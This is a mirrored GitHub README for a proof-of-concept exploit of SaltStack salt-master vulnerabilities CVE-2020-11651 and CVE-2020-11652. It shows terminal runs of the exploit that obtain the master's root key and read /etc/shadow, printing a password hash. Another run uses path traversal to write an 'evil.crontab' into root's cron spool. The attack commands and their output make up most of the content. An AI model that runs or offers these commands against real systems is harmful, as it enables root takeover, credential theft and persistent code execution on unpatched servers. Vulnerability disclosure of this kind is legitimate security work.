Giter Site home page Giter Site logo

cve-2020-11651-poc's Introduction

Initial PoC of CVE-2020-11651 and CVE-2020-11652

This is a proof of concept exploit based on the initial check script.

Thanks for F-Secure Labs for their research and reporting.

Currently this script handles reading and writing arbitrary files, but that ought to suffice for demonstrating the vulnerabilities:

root@kalimah:~/salt# python2 exploit.py --read /etc/shadow
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: mrPiAdL9nwrx+ql7hDnxPVx0ejRtYAe+tX5VAy3O40eylZlK7476/skESYBbJvydSgikP5I7Os8=
[+] Attemping to read /etc/shadow from 127.0.0.1
root:$6$7qfolaa/$3yhszWj/VUJjfPaqr1yO6NLgV/FhHnVT9Pr6spwJ/F0BJw5vFM.3KjtwcnnuGo5uSJJkLrd28jXrmVZUD9nEI/:17812:0:99999:7:::
daemon:*:17785:0:99999:7:::
bin:*:17785:0:99999:7:::
sys:*:17785:0:99999:7:::
sync:*:17785:0:99999:7:::
games:*:17785:0:99999:7:::
man:*:17785:0:99999:7::
[...]

root@kalimah:~/salt# python2 exploit.py --upload-src evil.crontab --upload-dest ../../../../../..//var/spool/cron/crontabs/root
[+] Salt version: 2019.2.0
[ ] This version of salt is vulnerable! Check results below
[+] Checking salt-master (127.0.0.1:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651...
[*] root key obtained: mrPiAdL9nwrx+ql7hDnxPVx0ejRtYAe+tX5VAy3O40eylZlK7476/skESYBbJvydSgikP5I7Os8=
[+] Attemping to upload evil.crontab to ../../../../../..//var/spool/cron/crontabs/root on 127.0.0.1
Wrote data to file /srv/salt/../../../../../..//var/spool/cron/crontabs/root

cve-2020-11651-poc's People

Contributors

jasperla avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.